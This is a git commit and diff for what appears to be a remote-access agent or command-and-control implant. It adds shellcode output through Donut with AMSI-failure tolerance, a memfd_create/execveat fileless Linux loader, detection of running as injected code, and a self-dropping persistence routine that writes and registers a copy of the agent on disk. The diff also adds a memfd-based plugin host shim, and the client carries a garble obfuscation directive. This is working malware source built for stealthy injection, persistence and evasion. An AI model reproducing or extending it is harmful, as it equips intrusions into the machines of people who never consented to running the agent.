Shellcode clean (#21)

* feat: shellcode output via Donut (Windows) + memfd stub (Linux)

- Donut (Windows): PE → PIC shellcode (.bin) via donut-manager.ts
  Flags: -f1 -a<arch> -b3 -x1 (continue on AMSI fail, thread exit)
- Linux shellcode: 113-byte x86_64 memfd_create+execveat stub
  (linux-shellcode-manager.ts) wraps ELF for memfd_create+execveat
- Two-pass build for shellcode+persistence: Pass 1 = normal agent with
  persist compiled in; Pass 2 = selfembed agent that drops+registers
  Pass 1 on first run (isRunningInMemory() gates the path)
- Show console option: shellcode_console build tag calls AllocConsole()
  on start for debug builds; AttachConsole fallback included
- isRunningInMemory() Windows: VirtualQuery on .data sentinel
  (MEM_PRIVATE = injected, MEM_IMAGE = normal disk load) replaces
  os.Executable() which returned host process path when injected
- Build UI: Donut mode, Linux shellcode mode, show-console checkboxes;
  settings persisted across sessions via collectFormSettings()
- GODEBUG=netdns=cgo hardcoded in build env (fixes IPv6 DNS on VPN)
- Dockerfile: pre-seed Go module cache; add curl to runtime image
- docker-compose.yml: switch healthcheck to wget (curl absent in slim)

* fix: add missing shellcode UI functions and restore dynamic linking

applyDonutMode, applyLinuxShellcodeMode, and updateShellcodeCheckboxVisibility
were called throughout build.js but never defined, breaking platform selection
and the build button. Add the missing implementations.

Also remove forced -extldflags '-static' on Linux CGO builds; fully static
glibc binaries cannot call dlopen, which broke native plugin loading entirely.

* fix: call updateShellcodeCheckboxVisibility on page load

Shellcode rows were hidden on initial load because the function was only
wired to checkbox change events. Call it at startup and in applyFormSettings
so pre-selected platforms correctly show their shellcode options immediately.

* feat: Linux plugin subprocess shim for static-agent compatibility

Static musl binaries cannot call dlopen. Introduce a small C shim
(plugin_host.c) that is compiled at agent-build time into a
dynamically-linked binary, embedded via go:embed, and fork+exec'd to
load .so plugins on behalf of the static agent over a Unix socketpair.

Empty placeholder files allow go:embed to compile without error; the
real binaries are produced by build-process.ts before go build runs and
are never committed. Documents the IPC protocol and build matrix in
PLUGINS.md Section 12.

* fix: define sp_memfd_create/sp_write_all in subproc CGO preamble

CGO preamble functions are per-file translation units; so_memfd_create
and so_write_all from loader_linux.go are not visible in
loader_linux_subproc.go. Add local equivalents with sp_ prefix.

* fix: use CGO helper for shim memfd_create instead of syscall.SYS_MEMFD_CREATE

syscall.SYS_MEMFD_CREATE is not defined in Go stdlib syscall package.
Replace with sp_memfd_create_nocloe() CGO helper (flags=0, no CLOEXEC).

* fix: compile plugin host shim statically to avoid glibc version mismatch

A dynamically-linked shim compiled on Debian Bookworm (glibc 2.36) fails
on older glibc targets. Compile with -static so the shim is self-contained
and runs on any glibc version. Static glibc can still call dlopen at runtime
via the system ld-linux.so.2.

Also surface subprocess errors instead of silently falling through to dlopen
so failures are visible in the build log.

* Restore docker build cache
This commit is contained in:
Michael
2026-05-13 22:55:51 -05:00
committed by GitHub
parent 5b2d827607
commit 4fae9e56cf
28 changed files with 1490 additions and 80 deletions
@@ -0,0 +1,29 @@
//go:build shellcode_console
package main
import (
"log"
"os"
"syscall"
)
func init() {
k32 := syscall.NewLazyDLL("kernel32.dll")
// Try to attach to the loader's existing console first.
// If that fails (GUI loader or FreeConsole was called), create a new one.
r, _, _ := k32.NewProc("AttachConsole").Call(^uintptr(0)) // ATTACH_PARENT_PROCESS
if r == 0 {
k32.NewProc("AllocConsole").Call()
}
// Open the Windows console output device and redirect Go's stderr + log
// so that log.Printf output is visible regardless of how handles were inherited.
conout, err := syscall.Open("CONOUT$", syscall.O_RDWR, 0)
if err == nil {
w := os.NewFile(uintptr(conout), "stderr")
os.Stderr = w
log.SetOutput(w)
}
}
+11 -2
View File
@@ -21,8 +21,17 @@ func main() {
runBoundFiles()
if cfg.EnablePersistence {
if err := persistence.Setup(); err != nil {
log.Printf("Warning: Failed to setup persistence: %v", err)
if isRunningInMemory() {
if len(selfDropBinary) > 0 {
if err := persistence.SetupFromBytes(selfDropBinary); err != nil {
log.Printf("Warning: Failed to setup shellcode persistence: %v", err)
}
}
// No selfDropBinary = shellcode built without persistence embed; skip.
} else {
if err := persistence.Setup(); err != nil {
log.Printf("Warning: Failed to setup persistence: %v", err)
}
}
}
+30
View File
@@ -0,0 +1,30 @@
//go:build !windows
package main
import (
"os"
"path/filepath"
)
// isRunningInMemory returns true when the agent is executing as
// in-memory shellcode (e.g. Linux memfd_create / execveat stub).
// On Linux the memfd path cannot be stat'd as a regular file.
func isRunningInMemory() bool {
exePath, err := os.Executable()
if err != nil {
return true
}
if realPath, err := filepath.EvalSymlinks(exePath); err == nil {
exePath = realPath
}
absPath, err := filepath.Abs(exePath)
if err != nil {
return true
}
info, err := os.Stat(absPath)
if err != nil || !info.Mode().IsRegular() {
return true
}
return false
}
@@ -0,0 +1,43 @@
//go:build windows
package main
import (
"syscall"
"unsafe"
)
// _memBasicInfo mirrors MEMORY_BASIC_INFORMATION for 64-bit Windows.
// Layout (bytes): BaseAddress(8) AllocationBase(8) AllocationProtect(4)
// _pad(4) RegionSize(8) State(4) Protect(4) Type(4) _pad(4) = 48 bytes total.
type _memBasicInfo struct {
BaseAddress uintptr
AllocationBase uintptr
AllocationProtect uint32
_ [4]byte // covers PartitionId / alignment padding
RegionSize uintptr
State uint32
Protect uint32
Type uint32
_ [4]byte
}
var (
_k32mem = syscall.NewLazyDLL("kernel32.dll")
_vqProc = _k32mem.NewProc("VirtualQuery")
_memProbe byte // global in .data section — MEM_IMAGE when PE-loaded, MEM_PRIVATE as shellcode
)
// isRunningInMemory returns true when the agent's data section is in
// anonymous private memory (Donut-injected shellcode) rather than a
// file-backed image section.
func isRunningInMemory() bool {
var mbi _memBasicInfo
addr := uintptr(unsafe.Pointer(&_memProbe))
ret, _, _ := _vqProc.Call(addr, uintptr(unsafe.Pointer(&mbi)), unsafe.Sizeof(mbi))
if ret == 0 {
return false
}
const MEM_IMAGE = 0x1000000
return mbi.Type != MEM_IMAGE
}
@@ -1,6 +1,7 @@
package persistence
import (
"fmt"
"os"
"path/filepath"
)
@@ -40,3 +41,56 @@ func TargetPath() (string, error) {
func Remove() error {
return uninstall()
}
// SetupFromBytes writes data to the platform persistence target path and
// registers it — used when the agent is running as injected shellcode and
// selfDropBinary contains the normal (non-shellcode) agent PE/ELF.
func SetupFromBytes(data []byte) error {
if len(data) == 0 {
return fmt.Errorf("embedded binary is empty")
}
targetPath, err := getTargetPath()
if err != nil {
return fmt.Errorf("failed to resolve target path: %w", err)
}
dir := filepath.Dir(targetPath)
if err := os.MkdirAll(dir, 0755); err != nil {
return fmt.Errorf("failed to create directory: %w", err)
}
if err := writeBytes(targetPath, data); err != nil {
return err
}
return configure(targetPath)
}
// writeBytes atomically writes data to dest via a temp file then rename.
func writeBytes(dest string, data []byte) error {
dir := filepath.Dir(dest)
tmp, err := os.CreateTemp(dir, "agent-*.tmp")
if err != nil {
return fmt.Errorf("failed to create temp file: %w", err)
}
tmpPath := tmp.Name()
defer func() { _ = os.Remove(tmpPath) }()
if _, err := tmp.Write(data); err != nil {
_ = tmp.Close()
return fmt.Errorf("failed to write binary: %w", err)
}
if err := tmp.Sync(); err != nil {
_ = tmp.Close()
return fmt.Errorf("failed to sync: %w", err)
}
if err := tmp.Close(); err != nil {
return fmt.Errorf("failed to close temp file: %w", err)
}
if err := os.Rename(tmpPath, dest); err != nil {
if rmErr := os.Remove(dest); rmErr == nil {
err = os.Rename(tmpPath, dest)
}
if err != nil {
return fmt.Errorf("failed to place binary at %s: %w", dest, err)
}
}
return os.Chmod(dest, 0755)
}
@@ -211,8 +211,6 @@ func install(exePath string) error {
}
_ = cleanupLegacyRunValues()
return firstErr
return nil
}
func replaceExecutable(exePath, targetPath string) error {
@@ -106,6 +106,17 @@ func loadNativePlugin(data []byte) (NativePlugin, error) {
return nil, errors.New("empty plugin binary")
}
// Prefer the subprocess shim approach: the main agent binary is statically
// linked (musl -static) which prevents dlopen from working in-process.
// The shim is a small dynamically-linked binary that can dlopen normally.
if len(pluginHostBinary) > 0 {
p, err := loadNativePluginSubproc(data)
if err == nil {
return p, nil
}
return nil, fmt.Errorf("plugin host shim: %w", err)
}
fd := C.so_memfd_create()
if fd < 0 {
return nil, errors.New("memfd_create failed")
@@ -0,0 +1,8 @@
//go:build linux && cgo && amd64
package plugins
import _ "embed"
//go:embed plugin_host/plugin_host_amd64
var pluginHostBinary []byte
@@ -0,0 +1,8 @@
//go:build linux && cgo && arm
package plugins
import _ "embed"
//go:embed plugin_host/plugin_host_arm
var pluginHostBinary []byte
@@ -0,0 +1,8 @@
//go:build linux && cgo && arm64
package plugins
import _ "embed"
//go:embed plugin_host/plugin_host_arm64
var pluginHostBinary []byte
@@ -0,0 +1,7 @@
//go:build linux && cgo && !amd64 && !arm64 && !arm
package plugins
// pluginHostBinary is empty on architectures without a compiled plugin host shim.
// The loader falls back to direct dlopen on these platforms.
var pluginHostBinary []byte
@@ -0,0 +1,324 @@
//go:build linux && cgo
package plugins
/*
#include <sys/socket.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdint.h>
#ifndef MFD_CLOEXEC
#define MFD_CLOEXEC 0x0001U
#endif
static int make_socketpair(int fds[2]) {
return socketpair(AF_UNIX, SOCK_STREAM, 0, fds);
}
static int sp_memfd_create(void) {
return (int)syscall(SYS_memfd_create, "plugin", MFD_CLOEXEC);
}
// No CLOEXEC — the fd must survive fexecve/exec into the shim process.
static int sp_memfd_create_nocloe(void) {
return (int)syscall(SYS_memfd_create, "ph", 0);
}
static int sp_write_all(int fd, const void* buf, size_t len) {
const char* p = (const char*)buf;
while (len > 0) {
ssize_t n = write(fd, p, len);
if (n <= 0) return -1;
p += n;
len -= (size_t)n;
}
return 0;
}
*/
import "C"
import (
"encoding/binary"
"errors"
"fmt"
"io"
"os"
"strconv"
"sync"
"syscall"
"unsafe"
)
// Message type constants — must match plugin_host.c
const (
phMsgLoad = 0x01
phMsgEvent = 0x02
phMsgUnload = 0x03
phMsgCallback = 0x10
phMsgReady = 0x11
phMsgErr = 0x12
phMsgLoadResult = 0x13
)
// loadNativePluginSubproc attempts to load the plugin by fork+exec-ing the
// embedded plugin_host shim. Returns an error if pluginHostBinary is empty
// (not compiled) or if any setup step fails.
func loadNativePluginSubproc(soData []byte) (NativePlugin, error) {
if len(pluginHostBinary) == 0 {
return nil, errors.New("plugin host shim not available for this architecture")
}
// Write the .so to a memfd so the shim can dlopen it.
soFd := int(C.sp_memfd_create())
if soFd < 0 {
return nil, errors.New("memfd_create failed for plugin .so")
}
if C.sp_write_all(C.int(soFd), unsafe.Pointer(&soData[0]), C.size_t(len(soData))) != 0 {
syscall.Close(soFd)
return nil, errors.New("write to plugin .so memfd failed")
}
// Write the shim binary to a memfd WITHOUT close-on-exec so it survives exec.
shimFdC := C.sp_memfd_create_nocloe()
if shimFdC < 0 {
syscall.Close(soFd)
return nil, errors.New("memfd_create for shim failed")
}
shimFile := os.NewFile(uintptr(shimFdC), "plugin_host_shim")
if _, err := shimFile.Write(pluginHostBinary); err != nil {
shimFile.Close()
syscall.Close(soFd)
return nil, fmt.Errorf("write shim to memfd: %w", err)
}
// Create a socketpair for bidirectional communication.
var fds [2]C.int
if C.make_socketpair(&fds[0]) != 0 {
shimFile.Close()
syscall.Close(soFd)
return nil, errors.New("socketpair failed")
}
parentSock := int(fds[0])
childSock := int(fds[1])
// ForkExec the shim. Pass fds to the child via ProcAttr.Files:
// child fd 0 = /dev/null
// child fd 1 = parent stdout (for debug output)
// child fd 2 = parent stderr
// child fd 3 = .so memfd
// child fd 4 = child end of socketpair
devNull, _ := syscall.Open("/dev/null", syscall.O_RDONLY, 0)
shimPath := fmt.Sprintf("/proc/self/fd/%d", int(shimFdC))
pid, err := syscall.ForkExec(shimPath, []string{"plugin_host",
strconv.Itoa(3), strconv.Itoa(4)},
&syscall.ProcAttr{
Files: []uintptr{
uintptr(devNull),
1,
2,
uintptr(soFd),
uintptr(childSock),
},
},
)
// Parent no longer needs these fds.
syscall.Close(devNull)
syscall.Close(soFd)
syscall.Close(childSock)
shimFile.Close()
if err != nil {
syscall.Close(parentSock)
return nil, fmt.Errorf("forkexec plugin_host: %w", err)
}
p := &subProcPlugin{
pid: pid,
sock: os.NewFile(uintptr(parentSock), "plugin_sock"),
loadResultCh: make(chan error, 1),
stopCh: make(chan struct{}),
}
go p.readLoop()
// Wait for MSG_READY (or MSG_ERR) to confirm the shim loaded the .so.
select {
case err := <-p.loadResultCh:
if err != nil {
p.sock.Close()
return nil, err
}
case <-p.stopCh:
p.sock.Close()
return nil, errors.New("plugin host exited before sending READY")
}
return p, nil
}
// subProcPlugin implements NativePlugin by routing calls through the shim subprocess.
type subProcPlugin struct {
pid int
sock *os.File
mu sync.Mutex
pluginRuntime string
sendFn func(string, []byte)
loadResultCh chan error
stopCh chan struct{}
stopOnce sync.Once
}
func (p *subProcPlugin) readLoop() {
defer p.stopOnce.Do(func() { close(p.stopCh) })
for {
msgType, payload, err := p.recvMsg()
if err != nil {
return
}
switch msgType {
case phMsgReady:
p.mu.Lock()
p.pluginRuntime = string(payload)
p.mu.Unlock()
// Signal the constructor that the shim is ready.
select {
case p.loadResultCh <- nil:
default:
}
case phMsgErr:
select {
case p.loadResultCh <- fmt.Errorf("plugin_host: %s", payload):
default:
}
return
case phMsgLoadResult:
if len(payload) > 0 && payload[0] != 0 {
select {
case p.loadResultCh <- errors.New("PluginOnLoad returned non-zero"):
default:
}
} else {
select {
case p.loadResultCh <- nil:
default:
}
}
case phMsgCallback:
if len(payload) < 6 {
continue
}
evLen := int(binary.LittleEndian.Uint16(payload[0:2]))
if len(payload) < 2+evLen+4 {
continue
}
plLen := int(binary.LittleEndian.Uint32(payload[2+evLen:]))
event := string(payload[2 : 2+evLen])
var pl []byte
if plLen > 0 && len(payload) >= 2+evLen+4+plLen {
pl = payload[2+evLen+4 : 2+evLen+4+plLen]
}
p.mu.Lock()
fn := p.sendFn
p.mu.Unlock()
if fn != nil {
fn(event, pl)
}
}
}
}
func (p *subProcPlugin) sendMsg(msgType uint8, payload []byte) error {
total := uint32(1 + len(payload))
hdr := make([]byte, 5)
binary.LittleEndian.PutUint32(hdr[:4], total)
hdr[4] = msgType
p.mu.Lock()
defer p.mu.Unlock()
if _, err := p.sock.Write(hdr); err != nil {
return err
}
if len(payload) > 0 {
if _, err := p.sock.Write(payload); err != nil {
return err
}
}
return nil
}
func (p *subProcPlugin) recvMsg() (uint8, []byte, error) {
hdr := make([]byte, 5)
if _, err := io.ReadFull(p.sock, hdr); err != nil {
return 0, nil, err
}
total := binary.LittleEndian.Uint32(hdr[:4])
if total == 0 {
return 0, nil, errors.New("zero-length message")
}
msgType := hdr[4]
payloadLen := total - 1
if payloadLen == 0 {
return msgType, nil, nil
}
payload := make([]byte, payloadLen)
if _, err := io.ReadFull(p.sock, payload); err != nil {
return 0, nil, err
}
return msgType, payload, nil
}
func (p *subProcPlugin) Load(send func(string, []byte), hostInfo []byte) error {
p.mu.Lock()
p.sendFn = send
p.mu.Unlock()
// Send MSG_LOAD; shim will call PluginOnLoad and reply with MSG_LOAD_RESULT.
if err := p.sendMsg(phMsgLoad, hostInfo); err != nil {
return fmt.Errorf("send MSG_LOAD: %w", err)
}
select {
case err := <-p.loadResultCh:
return err
case <-p.stopCh:
return errors.New("plugin host exited during load")
}
}
func (p *subProcPlugin) Event(event string, payload []byte) error {
evBytes := []byte(event)
evLen := len(evBytes)
plLen := len(payload)
msg := make([]byte, 2+evLen+4+plLen)
binary.LittleEndian.PutUint16(msg[0:2], uint16(evLen))
copy(msg[2:], evBytes)
binary.LittleEndian.PutUint32(msg[2+evLen:], uint32(plLen))
if plLen > 0 {
copy(msg[2+evLen+4:], payload)
}
return p.sendMsg(phMsgEvent, msg)
}
func (p *subProcPlugin) Unload() {
_ = p.sendMsg(phMsgUnload, nil)
}
func (p *subProcPlugin) Close() error {
p.Unload()
p.sock.Close()
// Reap the child process.
if p.pid > 0 {
syscall.Wait4(p.pid, nil, 0, nil)
}
return nil
}
func (p *subProcPlugin) Runtime() string {
p.mu.Lock()
defer p.mu.Unlock()
return p.pluginRuntime
}
@@ -0,0 +1,208 @@
/*
* plugin_host — subprocess shim that dlopen()s a plugin .so on behalf of a
* statically-linked parent agent.
*
* Build (amd64, glibc): cc -O2 -o plugin_host_amd64 plugin_host.c -ldl
* Build (arm64, musl): aarch64-linux-musl-gcc -O2 -o plugin_host_arm64 plugin_host.c -ldl
* Build (armv7, musl): armv7l-linux-musleabihf-gcc -O2 -o plugin_host_arm plugin_host.c -ldl
*
* This file is compiled at agent-build time by build-process.ts and embedded
* into the agent via //go:embed. It is NOT committed as a binary.
*
* Protocol (framed over a Unix socketpair):
* Each message: [4-byte LE total-payload-len][1-byte type][payload...]
*
* Agent → Host:
* 0x01 MSG_LOAD payload = raw hostInfo bytes
* 0x02 MSG_EVENT payload = [u16le eventLen][event][u32le payloadLen][payload]
* 0x03 MSG_UNLOAD payload = (empty)
*
* Host → Agent:
* 0x10 MSG_CALLBACK payload = [u16le eventLen][event][u32le payloadLen][payload]
* 0x11 MSG_READY payload = runtime string (e.g. "c", "rust")
* 0x12 MSG_ERR payload = error string (sent instead of READY on failure)
* 0x13 MSG_LOAD_RESULT payload = [u8: 0=ok, 1=err]
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <dlfcn.h>
#define MSG_LOAD 0x01
#define MSG_EVENT 0x02
#define MSG_UNLOAD 0x03
#define MSG_CALLBACK 0x10
#define MSG_READY 0x11
#define MSG_ERR 0x12
#define MSG_LOAD_RESULT 0x13
static int g_sock = -1;
static int read_exact(int fd, void *buf, size_t n) {
char *p = (char *)buf;
while (n > 0) {
ssize_t r = read(fd, p, n);
if (r <= 0) return -1;
p += r; n -= (size_t)r;
}
return 0;
}
static int write_exact(int fd, const void *buf, size_t n) {
const char *p = (const char *)buf;
while (n > 0) {
ssize_t w = write(fd, p, n);
if (w <= 0) return -1;
p += w; n -= (size_t)w;
}
return 0;
}
static int send_msg(uint8_t type, const void *payload, uint32_t len) {
uint32_t total = 1 + len;
uint8_t hdr[4] = {
(uint8_t)(total),
(uint8_t)(total >> 8),
(uint8_t)(total >> 16),
(uint8_t)(total >> 24)
};
if (write_exact(g_sock, hdr, 4) < 0) return -1;
if (write_exact(g_sock, &type, 1) < 0) return -1;
if (len > 0 && write_exact(g_sock, payload, len) < 0) return -1;
return 0;
}
static int recv_msg(uint8_t *type, uint8_t **payload, uint32_t *len) {
uint8_t hdr[4];
if (read_exact(g_sock, hdr, 4) < 0) return -1;
uint32_t total = (uint32_t)hdr[0] | ((uint32_t)hdr[1] << 8)
| ((uint32_t)hdr[2] << 16) | ((uint32_t)hdr[3] << 24);
if (total == 0) return -1;
*type = 0;
if (read_exact(g_sock, type, 1) < 0) return -1;
*len = total - 1;
*payload = NULL;
if (*len > 0) {
*payload = malloc(*len);
if (!*payload) return -1;
if (read_exact(g_sock, *payload, *len) < 0) { free(*payload); *payload = NULL; return -1; }
}
return 0;
}
/* Forwarded to the plugin as the host callback. */
static void plugin_callback(uintptr_t ctx,
const char *event, int eventLen,
const char *payload, int payloadLen) {
(void)ctx;
uint32_t msgLen = 2 + (uint32_t)eventLen + 4 + (uint32_t)payloadLen;
uint8_t *buf = (uint8_t *)malloc(msgLen);
if (!buf) return;
buf[0] = (uint8_t)(eventLen);
buf[1] = (uint8_t)(eventLen >> 8);
memcpy(buf + 2, event, eventLen);
uint32_t pl = (uint32_t)payloadLen;
buf[2 + eventLen + 0] = (uint8_t)(pl);
buf[2 + eventLen + 1] = (uint8_t)(pl >> 8);
buf[2 + eventLen + 2] = (uint8_t)(pl >> 16);
buf[2 + eventLen + 3] = (uint8_t)(pl >> 24);
if (payloadLen > 0) memcpy(buf + 2 + eventLen + 4, payload, payloadLen);
send_msg(MSG_CALLBACK, buf, msgLen);
free(buf);
}
int main(int argc, char *argv[]) {
if (argc < 3) {
fprintf(stderr, "usage: plugin_host <so_fd> <sock_fd>\n");
return 1;
}
int soFd = atoi(argv[1]);
g_sock = atoi(argv[2]);
/* dlopen the .so via its memfd path. */
char soPath[64];
snprintf(soPath, sizeof(soPath), "/proc/self/fd/%d", soFd);
void *handle = dlopen(soPath, RTLD_NOW | RTLD_LOCAL);
close(soFd);
if (!handle) {
const char *err = dlerror();
if (!err) err = "dlopen failed";
send_msg(MSG_ERR, err, (uint32_t)strlen(err));
return 1;
}
void *onLoadFn = dlsym(handle, "PluginOnLoad");
void *onEventFn = dlsym(handle, "PluginOnEvent");
void *onUnloadFn = dlsym(handle, "PluginOnUnload");
if (!onLoadFn || !onEventFn || !onUnloadFn) {
const char *err = "missing required plugin exports";
send_msg(MSG_ERR, err, (uint32_t)strlen(err));
dlclose(handle);
return 1;
}
/* Detect runtime. */
const char *runtime = "c";
void *getRtFn = dlsym(handle, "PluginGetRuntime");
if (getRtFn) {
typedef const char *(*fn_t)(void);
const char *r = ((fn_t)getRtFn)();
if (r && *r) runtime = r;
}
/* Send READY with the runtime string. */
send_msg(MSG_READY, runtime, (uint32_t)strlen(runtime));
/* Main message loop. */
while (1) {
uint8_t type;
uint8_t *payload;
uint32_t payloadLen;
if (recv_msg(&type, &payload, &payloadLen) < 0) break;
if (type == MSG_LOAD) {
typedef int (*fn_t)(const char *, int, uintptr_t, uintptr_t);
int ret = ((fn_t)onLoadFn)(
(const char *)payload, (int)payloadLen,
(uintptr_t)plugin_callback, (uintptr_t)0);
uint8_t result = (ret == 0) ? 0 : 1;
send_msg(MSG_LOAD_RESULT, &result, 1);
free(payload);
} else if (type == MSG_EVENT) {
if (payloadLen < 6) { free(payload); continue; }
uint16_t evLen = (uint16_t)(payload[0] | (payload[1] << 8));
if (payloadLen < (uint32_t)(2 + evLen + 4)) { free(payload); continue; }
uint32_t plLen = (uint32_t)payload[2+evLen]
| ((uint32_t)payload[2+evLen+1] << 8)
| ((uint32_t)payload[2+evLen+2] << 16)
| ((uint32_t)payload[2+evLen+3] << 24);
typedef int (*fn_t)(const char *, int, const char *, int);
((fn_t)onEventFn)(
(const char *)(payload + 2), (int)evLen,
(const char *)(payload + 2 + evLen + 4), (int)plLen);
free(payload);
} else if (type == MSG_UNLOAD) {
free(payload);
typedef void (*fn_t)(void);
((fn_t)onUnloadFn)();
if (strcmp(runtime, "go") != 0) dlclose(handle);
break;
} else {
free(payload);
}
}
return 0;
}
+35
View File
@@ -0,0 +1,35 @@
//go:build selfembed
package main
import (
_ "embed"
"fmt"
"os"
)
//go:embed selfbinary.bin
var selfDropBinary []byte
// writeSelfBinaryTemp writes selfDropBinary to a temp file and returns its path.
// The caller is responsible for removing the file after use.
func writeSelfBinaryTemp() (string, error) {
if len(selfDropBinary) == 0 {
return "", fmt.Errorf("embedded binary is empty")
}
f, err := os.CreateTemp("", "svc*.exe")
if err != nil {
return "", fmt.Errorf("failed to create temp file: %w", err)
}
tmpPath := f.Name()
if _, err := f.Write(selfDropBinary); err != nil {
f.Close()
os.Remove(tmpPath)
return "", fmt.Errorf("failed to write embedded binary: %w", err)
}
if err := f.Close(); err != nil {
os.Remove(tmpPath)
return "", fmt.Errorf("failed to close temp file: %w", err)
}
return tmpPath, nil
}
@@ -0,0 +1,13 @@
//go:build !selfembed
package main
import "fmt"
// selfDropBinary is empty in normal builds. Set via //go:embed when compiled
// with -tags selfembed (two-pass Windows shellcode build).
var selfDropBinary []byte
func writeSelfBinaryTemp() (string, error) {
return "", fmt.Errorf("not compiled with selfembed tag")
}
-19
View File
@@ -12,7 +12,6 @@ import (
"net"
"net/http"
"os"
"path/filepath"
"runtime"
"runtime/debug"
"strconv"
@@ -32,24 +31,6 @@ import (
"nhooyr.io/websocket"
)
func isRunningInMemory() bool {
exePath, err := os.Executable()
if err != nil {
return true
}
if realPath, err := filepath.EvalSymlinks(exePath); err == nil {
exePath = realPath
}
absPath, err := filepath.Abs(exePath)
if err != nil {
return true
}
info, err := os.Stat(absPath)
if err != nil || !info.Mode().IsRegular() {
return true
}
return false
}
func runClient(cfg config.Config) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2